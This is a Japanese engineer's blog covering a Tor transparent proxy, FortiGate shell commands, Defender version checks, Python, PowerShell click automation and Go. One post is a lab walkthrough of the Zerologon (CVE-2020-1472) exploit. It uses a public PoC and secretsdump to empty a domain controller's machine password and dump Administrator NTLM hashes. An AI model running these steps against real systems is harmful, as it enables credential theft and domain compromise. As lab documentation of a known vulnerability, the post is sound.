たれながし.info

とあるITエンジニアの備忘録

Torで透過プロキシを立ててみた。

Torで透過プロキシを立てました。

はじめに

「Torを透過プロキシとして使えないかなー。」と思ってググったら、Torプロジェクトのページがヒットして設定方法も記載されていたので構築してみます。

gitlab.torproject.org

透過プロキシとは

クライアント側で明示的に設定しなくても使用できるプロキシです。
基本的にはネットワークの送信元と宛先の間に置いて使います。
メリット、デメリットは以下の通りです。

  • メリット
    • クライアント側でプロキシ設定をしなくてもプロキシ経由で通信できる
    • OSのプロキシ設定に従わないアプリケーションもプロキシ経由で通信できる
  • デメリット
    • 物理構成、ネットワーク構成、プロキシサーバーの設定など面倒な点が多い

Torを使用した透過プロキシ

以下の特徴や制限があります。

  • Torを使用するので、送信元IPアドレスを隠匿できる
  • Torの透過プロキシを動かすサーバーOSはLinuxBSDである必要がある
    • Linuxの場合、Torとiptablesを使用して構成する
    • BSDの場合、TorとPF(Packet Filter)を使用して構成する

ソフトウェア要件

LinuxでTorの透過プロキシを立てる場合、以下ソフトウェア要件があります。

  • iptables:1.3.5以上
  • Tor:0.2.0.1-alpha以上

構成

f:id:tarenagashi_info:20201213191103p:plain

クライアントからプロキシサーバーのネットワークIF「eth1」に到着したTCPDNSの通信をiptablesでTorに転送することで動作します。
クライアントが送信元となる通信のみTor経由とし、透過プロキシサーバーが送信元となる通信はTorの対象外とします(iptablesの設定で対象とすることも可能です)。

  • 透過プロキシサーバー
    • OSはCentOS7.9(要件を満たせば何でも良い)
    • ネットワークIFを2つ持つ
  • クライアント
    • 制限なし

Torプロキシの構築

OS設定

ネットワーク設定

IPアドレス設定を確認する

# ip a
...
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    inet 10.0.0.4/24 brd 10.0.0.255 scope global noprefixroute eth0
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    inet 10.0.1.4/24 brd 10.0.1.255 scope global noprefixroute eth1
...
SELINUX無効化

SELINUXは無効にします。有効な場合、Torが起動しない場合がある

# getenforce
Permissive

Torのインストールと設定

インストール

EPELからインストールする

# yum -y install epel-release
# yum -y install tor
バージョン確認

ソフトウェア要件を満たしているか確認する
※Tor >= 0.2.0.1-alpha

# rpm -qa tor
tor-0.3.5.12-1.el7.x86_64
設定

設定を4行追記する
上2行は.onionドメイン宛ての通信に関する設定、下2行はネットワーク通信とDNSでTorが使用するポートの設定

# vi /etc/tor/torc
...
VirtualAddrNetworkIPv4 10.192.0.0/10
AutomapHostsOnResolve 1
TransPort 10.0.1.4:9040
DNSPort 10.0.1.4:5353
起動
# systemctl enable tor
# systemctl start tor

# ss -anp | grep -e 5353 -e 9040
udp    UNCONN     0      0      10.0.1.4:5353                  *:*                   users:(("tor",pid=1168,fd=7))
tcp    LISTEN     0      128    10.0.1.4:9040                  *:*                   users:(("tor",pid=1168,fd=8))

iptablesのインストールと設定

インストール
# yum -y install iptables-services
バージョン確認

ソフトウェア要件を満たしているか確認する
iptables >= 1.3.5

# rpm -qa iptables*
iptables-services-1.4.21-35.el7.x86_64
iptables-1.4.21-35.el7.x86_64
起動

firewalldを停止して、iptablesを起動する

# systemctl disable firewalld
# systemctl stop firewalld
# systemctl enable iptables
# systemctl start iptables
設定

設定を全部消して、TCPDNSの通信をeth1からTorに転送する設定を入れる

# _trans_port="9040"
# _inc_if="eth1"

# iptables -F
# iptables -F -t nat

# iptables -t nat -A PREROUTING -i $_inc_if -p udp --dport 53 -j REDIRECT --to-ports 5353
# iptables -t nat -A PREROUTING -i $_inc_if -p udp --dport 5353 -j REDIRECT --to-ports 5353
# iptables -t nat -A PREROUTING -i $_inc_if -p tcp --syn -j REDIRECT --to-ports $_trans_port

設定を確認し保存する

# iptables-save
...
*nat
...
-A PREROUTING -i eth1 -p udp -m udp --dport 53 -j REDIRECT --to-ports 5353
-A PREROUTING -i eth1 -p udp -m udp --dport 5353 -j REDIRECT --to-ports 5353
-A PREROUTING -i eth1 -p tcp -m tcp --tcp-flags FIN,SYN,RST,ACK SYN -j REDIRECT --to-ports 9040
COMMIT
...

# iptables-save > /etc/sysconfig/iptables

クライアントの設定

ネットワーク設定

デフォルトGWがTorプロキシを通るように、DNSサーバはTorプロキシのIPアドレスに設定する
f:id:tarenagashi_info:20201213193012p:plain

動作確認

TCPDNSがTorプロキシを経由していることを確認します。

TCP通信

IP確認くんなどで送信元IPアドレスを確認する
f:id:tarenagashi_info:20201213193213p:plain

DNS通信

nslookupで.onionドメインが解決できることを確認する

>nslookup facebookcorewwwi.onion
Server:  UnKnown
Address:  10.0.1.4

Non-authoritative answer:
Name:    facebookcorewwwi.onion
Addresses:  feb2:2a86:fb1:9b9a:912b:3ba8:162e:bd5f
          10.228.75.238

FortiGateでLinuxコマンドを実行する

FortiGateで「fnsysctl [コマンド名]」と実行するとLinuxコマンドが実行できます。

検証環境

FortiGate-VM v6.4.3

Linuxコマンド

使用できるLinuxコマンドです。他にもあるかもしれません。

基本的なコマンド

ls
fortigate # fnsysctl ls -h
usage: ls [-aAl] [file ...]

fortigate # fnsysctl ls
bin           boot          cdrom         data          data2         dev           etc
fortidev      init          lib           migadmin      node-scripts  proc          root
sbin          sys           tmp           usr           var
pwd
fortigate # fnsysctl pwd
/
cat

v6.4.3ではprocファイルしか見られませんでした。制限が掛かっているのか、procファイル以外だと「Not allowed」となります。
ファームウェアによってはprocファイル以外も見られるみたいです。

fortigate # fnsysctl cat /proc/version
Linux version 3.2.16 (root@build) (gcc version 7.3.1 20180425 (Linaro GCC 7.3-2018.05) ) #2 SMP Wed Oct 21 19:53:17 UTC 2020

fortigate # fnsysctl cat /etc/nsswitch.conf
cat: /etc/nsswitch.conf: Not allowed
grep
fortigate # fnsysctl  grep
Usage: grep [-ilHhnqvscABC] PATTERN [FILE...]
Options:
        -i      Ignore case distinctions
        -l      List names of files that match
        -H      Prefix output lines with filename where match was found
        -h      Suppress the prefixing filename on output
        -n      Print line number with output lines
        -q      Quiet
        -v      Select non-matching lines
        -s      Suppress file open/read error messages
        -c      Only print count of matching lines
        -A      Print NUM lines of trailing context
        -B      Print NUM lines of leading context
        -C      Print NUM lines of output context
cli_grep
fortigate # fnsysctl  cli_grep
Usage: grep [-ilHhnqvscABC] PATTERN [FILE...]
Options:
        -i      Ignore case distinctions
        -l      List names of files that match
        -H      Prefix output lines with filename where match was found
        -h      Suppress the prefixing filename on output
        -n      Print line number with output lines
        -q      Quiet
        -v      Select non-matching lines
        -s      Suppress file open/read error messages
        -c      Only print count of matching lines
        -A      Print NUM lines of trailing context
        -B      Print NUM lines of leading context
        -C      Print NUM lines of output context
mv

「super_admin」で認証が必要です。

# fnsysctl mv
Admin:
Password:
usage: mv [-f] src dst

ネットワーク

ifconfig
fortigate # fnsysctl ifconfig port1
port1   Link encap:Ethernet  HWaddr 00:0D:3A:CD:ED:01
        inet addr:10.1.0.4  Bcast:10.1.0.255  Mask:255.255.255.0
        UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
        RX packets:60305 errors:0 dropped:0 overruns:0 frame:0
        TX packets:49399 errors:0 dropped:0 overruns:0 carrier:0
        collisions:0 txqueuelen:1000
        RX bytes:48333018 (46.1 MB)  TX bytes:19417886 (18.5 MB)


fortigate # fnsysctl ifconfig ssl.root
ssl.root        Link encap:Unknown
        UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1500  Metric:1
        RX packets:580 errors:0 dropped:0 overruns:0 frame:0
        TX packets:0 errors:0 dropped:2 overruns:0 carrier:0
        collisions:0 txqueuelen:0
        RX bytes:43970 (42.9 KB)  TX bytes:0 (0  Bytes)

プロセス管理

ps
fortigate # fnsysctl ps
PID       UID     GID     STATE   CMD
1         0       0       S       /bin/initXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
2         0       0       S       [kthreadd]
3         0       0       S       [ksoftirqd/0]
6         0       0       S       [migration/0]
7         0       0       S       [watchdog/0]
8         0       0       S       [migration/1]
...
kill
fortigate # fnsysctl kill
 usage: kill [ -s signal ] pid ...
      kill -l [ signal ]
killall
fortigate # fnsysctl killall
 usage: killall [ -s signal ] Name ...
      killall -l [ signal ]

ディスク使用量

du
fortigate # fnsysctl du -h
Summarize disk space used for each FILE and/or directory

        -a      Show file sizes too
        -L      Follow all symlinks
        -H      Follow symlinks on command line
        -d N    Limit output to directories (and files with -a) of depth < N
        -c      Show grand total
        -l      Count sizes many times if hard linked
        -s      Display only a total for each argument
        -x      Skip directories on different filesystems
        -i      Show number of inodes

fortigate # fnsysctl du
0       ./cdrom
28      ./migadmin/api/v2/monitor_schema/extender-controller
40      ./migadmin/api/v2/monitor_schema/firewall
4       ./migadmin/api/v2/monitor_schema/fortianalyzer
40      ./migadmin/api/v2/monitor_schema/wifi
...
df
fortigate # fnsysctl df
Usage: df [-hkm] [FILE] ...

fortigate # fnsysctl df -h
Filesystem                 Size       Used  Available Use% Mounted on
none                       7.2G      40.7M       7.1G   1% /tmp
none                       7.2G       1.6M       7.2G   0% /dev/shm
none                       7.2G     309.7M       6.9G   4% /dev/cmdb
/dev/sda1                123.9M     103.7M      13.8M  88% /data
/dev/sda2                  1.8G     105.0M       1.6G   6% /data2
/dev/sdc1                 29.5G     173.1M      27.8G   1% /var/log

Microsoft Defender ウイルス対策のバージョンを確認する


はじめに

マイクロソフトの資料を見ていてたら「このサイバー攻撃にはDefenderのこのバージョンから検知することが可能です。」と記載があったので、Defenderのエンジンとシグネチャのバージョンはどうやって確認するんだ?と思って調べてみました。

すぐにでも確認したいという方は、PowerShellで『Get-MpComputerStatus | Select-Object *Version』を実行してください。

GUIで確認する方法

GUIで確認する方法です。

設定からWindowsセキュリティを開く

Windowsセキュリティの設定を開く

バージョン情報を選択

システム情報から確認する

<参考>
Windows セキュリティによる保護を利用します

コマンドで確認する方法

コマンドで確認する場合、PowerShellの「Get-MpComputerStatus」で確認できます。

表示結果を絞った場合
「| Select-Object *Version」で表示結果を絞った方が見やすいです。

> Get-MpComputerStatus | Select-Object *Version

AMEngineVersion             : 1.1.18100.6
AMProductVersion            : 4.18.2104.14
AMServiceVersion            : 4.18.2104.14
AntispywareSignatureVersion : 1.339.1609.0
AntivirusSignatureVersion   : 1.339.1609.0
NISEngineVersion            : 1.1.18100.6
NISSignatureVersion         : 1.339.1609.0

※AMは「マルウェア対策:AntiMalware」、NISは「ネットワーク検査システム:Network Inspection System」の略

表示結果を絞らない場合
表示結果を絞らない場合、Defender関連の色々な情報が見られます。
取得できる情報はMicrosoftのサイトに(一応)説明があります。
MSFT\_MpComputerStatus class | Microsoft Docs

> Get-MpComputerStatus

AMEngineVersion                 : 1.1.17700.4
AMProductVersion                : 4.18.2011.6
AMRunningMode                   : Normal
AMServiceEnabled                : True
AMServiceVersion                : 4.18.2011.6
AntispywareEnabled              : True
AntispywareSignatureAge         : 0
AntispywareSignatureLastUpdated : 2020/12/11 18:09:26
AntispywareSignatureVersion     : 1.329.219.0
AntivirusEnabled                : True
AntivirusSignatureAge           : 0
AntivirusSignatureLastUpdated   : 2020/12/11 18:09:26
AntivirusSignatureVersion       : 1.329.219.0
BehaviorMonitorEnabled          : True
ComputerID                      : xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
ComputerState                   : 0
FullScanAge                     : 4294967295
FullScanEndTime                 :
FullScanStartTime               :
IoavProtectionEnabled           : True
IsTamperProtected               : True
IsVirtualMachine                : False
LastFullScanSource              : 0
LastQuickScanSource             : 2
NISEnabled                      : True
NISEngineVersion                : 1.1.17700.4
NISSignatureAge                 : 0
NISSignatureLastUpdated         : 2020/12/11 18:09:26
NISSignatureVersion             : 1.329.219.0
OnAccessProtectionEnabled       : True
QuickScanAge                    : 1
QuickScanEndTime                : 2020/12/10 5:01:50
QuickScanStartTime              : 2020/12/10 5:00:18
RealTimeProtectionEnabled       : True
RealTimeScanDirection           : 0
PSComputerName                  :

おまけ:Defender AV関連のファイルを調べてみる

Defender ウイルス対策関連のファイルを色々探ってみます。

Defender AVサービス

Defender AVのサービスは表示名「Windows Defender Antivirus Service」、サービス名「WinDefend」


マルウェア対策クライアント

マルウェア対策クライアント(MsMpEng.exe)について

  • 上記サービスから実行される
  • 名前は「マルウェア対策クライアント」、英語だと「Antimalware Client」
  • MsMpEngは「Microsoft Malware Protection Engine」の略
  • 保存パスは「C:\ProgramData\Microsoft\Windows Defender\Platform\{バージョン名}」

プロパティにバージョン名の記載があります。

エンジン、シグネチャ

  • 保存パスは「C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{GUID}」
  • 「mpengine.dll」がエンジン本体
  • 拡張子vdmのファイルがシグネチャ ※av=アンチウイルス、as=アンチスパム
    baseが基本で、deltaが差分と思われる
  • 「MsMpEng.exe」と同様にプロパティにバージョン名の記載がある


イベントログ


宣伝

Defender AVのシグネチャを覗こうと奮闘した軌跡をこちらに書いてるので、良ければ見てくだせい。
tarenagashi.hatenablog.jp

「Zerologon (CVE-2020-1472)」にExploit

ActiveDirectoryの脆弱性「Zerologon (CVE-2020-1472)」にExploitしてみます。

検証環境

攻撃される側はWindows Server 2019で構築したActiveDirectoryを使用します。
攻撃する側はPython3.7以上が使えれば何でも良いです。

  • 攻撃される側
  • 攻撃する側
    • Ubuntu20.04 LTS
    • Python3.8.5
    • impacket
    • exploit

Exploitの準備

ExploitはDirk-janがGitHubで公開しているものを使います。

GitHub
GitHub - dirkjanm/CVE-2020-1472: PoC for Zerologon - all research credits go to Tom Tervoort of Secura

Python3バージョン確認

Exploitの動作要件にPython3.6、impacketの動作要件にPython3.7とあるのでPythonのバージョンを確認します。

$ python3 --version
Python 3.8.5

impacketのインストール

impacketに含まれる「secretsdump.py」を使うのでインストールします。
パスワードハッシュのダンプに使用します。

GitHub
https://github.com/SecureAuthCorp/impacketGitHub - SecureAuthCorp/impacket: Impacket is a collection of Python classes for working with network protocols.

$ sudo apt install git python3-pip
$ git clone https://github.com/SecureAuthCorp/impacket.git
$ cd impacket/
$ sudo pip3 install .

Exploitのダウンロード

$ cd
$ git clone https://github.com/dirkjanm/CVE-2020-1472

Exploitの実行

Exploit実行

成功するとdc01のコンピュータアカウントのパスワードが「なし」になります。
→「NTLMハッシュ=31d6cfe0d16ae931b73c59d7e0c089c0」

$ cd CVE-2020-1472/
$ python3 cve-2020-1472-exploit.py <hostname> <target-IP>

f:id:tarenagashi_info:20201208000901p:plain

NTLMハッシュのダンプ

dc01のコンピュータアカウントでNTLMハッシュのダンプをします。パスワードなしで実行できます。
これでAdministratorのNTLMハッシュが分かります。悪用されると困ります。

secretsdump.py -just-dc -no-pass <hostname>\$@<target-IP>

f:id:tarenagashi_info:20201208001032p:plain

AdministratorのNTLMハッシュを使ってダンプをします。
「plain_password_hex」を確認します。この値はExploit前の状態に戻すために使います。

secretsdump.py -hashes <NTLM-hash> administrator@<target-IP>

f:id:tarenagashi_info:20201208001202p:plain

Exploit前の状態へ復元

Exploit前の状態に戻さないと不整合により不具合が出るので、Exploit実行から時間を空けずに戻します。
戻す時は上記コマンド結果で確認した「plain_password_hex」を使います(長い、数100文字ある)。

なぜ不具合が出るか/どんな不具合が出るかは、Exploitの作成者Dirk-janがTwitterで説明しています。

python3 restorepassword.py <domain>/<hostname>@<hostname> -target-ip <target-IP> -hexpass <hex-credential>

f:id:tarenagashi_info:20201208001318p:plain

Pythonでテキストファイルを1行ずつ処理する

Pythonでテキストファイルを読込んで1行ずつ処理する方法です。
ググってみたら色々な方法が見つかったけど、これが一番シンプルで使いやすかったのでメモする。

サンプルコード

text = open("sample.txt", "r")

for line in text:
    print (line.replace("\n", ""))

text.close()

説明

openでテキストファイルを読み込み専用で開き、forで1行ずつ処理します。
replaceで行末の改行を取り除きます。

openの引数「encoding」で文字コードの指定が可能です。
例)encoding="utf-8"
encodingの指定が無い場合はシステムのデフォルトの文字コードになります。
デフォルトの文字コードは下記で確認が可能です。

Python 3.9.0
Type "help", "copyright", "credits" or "license" for more information.
>>> import locale
>>> locale.getpreferredencoding(False)
'cp932'

<参考>
組み込み関数 — Python 3.9.1rc1 ドキュメント

PowerShellでマウス操作「任意の場所をクリック」

PowerShellでマウスカーソルを動かして、任意の場所をクリックする方法を紹介します。


はじめに

PowerShellでマウスを操作してクリックしたい!」と思い検索したところ、
「Stack Overflow(プログラミングに関する英語の掲示板)」で見つけることが出来たので実施してみます。

<参考>
stackoverflow.com

クリックする座標の確認

まず、クリックする地点の画面上の座標を確認する必要があります。

Windowsの座標系は、メインディスプレイの左上が原点(0, 0)、右がx軸、下がy軸の進行方向になります。
通常は座標は0以上の値となりますが、画面外やマルチディスプレイの場合はマイナスになることもあります。

座標はPowerShellを用いて確認可能です。

1. PowerShellスクリプトを実行し、3秒以内にクリックしたい場所にマウスカーソルを合わせる

[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") 

Start-Sleep -s 3

$X = [System.Windows.Forms.Cursor]::Position.X
$Y = [System.Windows.Forms.Cursor]::Position.Y

Write-Output "X: $X | Y: $Y"
Read-Host

2. 座標が取得できる(画像では、x=714, y=318)

座標をクリックする

次に取得した座標の場所をクリックするPowerShellスクリプトです。

1. PowerShellスクリプトを実行する

# 座標
$x = 1000
$y = 800

# .NET Frameworkの宣言
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing") 
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") 

# Windows APIの宣言
$signature=@'
[DllImport("user32.dll",CharSet=CharSet.Auto,CallingConvention=CallingConvention.StdCall)]
public static extern void mouse_event(long dwFlags, long dx, long dy, long cButtons, long dwExtraInfo);
'@
$SendMouseClick = Add-Type -memberDefinition $signature -name "Win32MouseEventNew" -namespace Win32Functions -passThru

Start-Sleep -s 1

# マウスカーソル移動
[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point($x, $y)

# 左クリック
$SendMouseClick::mouse_event(0x0002, 0, 0, 0, 0);
$SendMouseClick::mouse_event(0x0004, 0, 0, 0, 0);

動作解説

上記のPowerShellの動作を解説します。

まず、$x, $yにクリックする座標を指定します。
「# .NET Frameworkの宣言」「# Windows APIの宣言」の部分は、Windowsの機能を呼び出すために必要なものなので、取り合えず書いてください。

「[System.Windows.Forms.Cursor]::Position」に座標を代入することでマウスカーソルを移動します。
「$SendMouseClick::mouse_event」でマウスのクリックを実行します(イベントを発生させることでクリックしたことにする)。

左クリックは、Downイベントが0x0002、Upイベントが0x0004です。
右クリックは、Downイベントが0x0008、Upイベントが0x0010です。

Down/Upはセットで使います。
Downイベント→カーソル移動→Upイベントとすれば、ドラッグもできるはずです。

ダブルクリックはDown/Upを2回書きます。

$SendMouseClick::mouse_event(0x0002, 0, 0, 0, 0);
$SendMouseClick::mouse_event(0x0004, 0, 0, 0, 0);
$SendMouseClick::mouse_event(0x0002, 0, 0, 0, 0);
$SendMouseClick::mouse_event(0x0004, 0, 0, 0, 0);

ホイールクリックなどのイベントも存在します。マイクロソフトの公式ドキュメントに説明があります。
mouse_event function (winuser.h) - Win32 apps | Microsoft Learn

関数化

カーソル移動とクリックの部分は関数化しても良いと思います。

PowerShellの関数は「関数名 $引数1 $引数2」という形で、引数をスペース区切りで渡します。
関数を呼び出す前に関数の定義が必要です。

function SingleClick_Right($x, $y){
    # マウスカーソル移動
    [System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point($x, $y)

    # クリックイベント生成
    $SendMouseClick::mouse_event(0x0008, 0, 0, 0, 0);
    $SendMouseClick::mouse_event(0x0010, 0, 0, 0, 0);
}

function DoubleClick_Left ($x, $y){
    # マウスカーソル移動
    [System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point($x, $y)

    # クリックイベント生成
    $SendMouseClick::mouse_event(0x0002, 0, 0, 0, 0);
    $SendMouseClick::mouse_event(0x0004, 0, 0, 0, 0);
    $SendMouseClick::mouse_event(0x0002, 0, 0, 0, 0);
    $SendMouseClick::mouse_event(0x0004, 0, 0, 0, 0);
}

# 関数呼び出し
SingleClick_Right $x $y
DoubleClick_Left $x $y

時間指定で実行

時間指定で実行したい場合はタスクスケジューラに登録してください。

コマンドで登録する場合

「schtasks」コマンドで登録します。

例)23:00に1度だけ、ps1ファイルを実行するタスク「MyTask」を作成する場合

> schtasks /create /tn "MyTask" /tr "powershell -ExecutionPolicy Bypass c:\Click-Position.ps1 " /sc once /st 23:00

> schtasks /query /tn "MyTask"

フォルダー\
タスク名                                 次回の実行時刻         状態
======================================== ====================== ===============
MyTask                                   2020/12/06 23:00:00    準備完了

<参考>
docs.microsoft.com

GUIで登録する場合

「タスクスケジューラ(taskschd.msc)」を起動して登録します。

<参考>
www.atmarkit.co.jp

Go言語でHello World

GoをインストールしてHello Worldしてみる。

はじめに

最近ネットや雑誌で「Go」についてよく聞くので、インストールしてHello Worldしてみました。
「Go」は並行処理に強いらしく(並列処理ではなく並行処理)、IoTのマルウェアで有名な「Mirai」のC2サーバもGoで書かれているらしい。Youtube/Gmailなど、GoogleのサービスもGoが使われているらしい。

Goのインストール

環境

  • Windows10 64bit
  • Go 1.15.5

インストール

公式サイトからGoをダウンロードしてインストールします。
Downloads - The Go Programming Language

>go version
go version go1.15.5 windows/amd64

Hello World

ソースコード

Hello World」を作成する。拡張子は「.go」にする

> type helloworld.go
package main
import("fmt")

func main(){
    fmt.Print("Hello World")
}

コンパイルと実行

> go build helloworld.go
> .\helloworld.exe
Hello World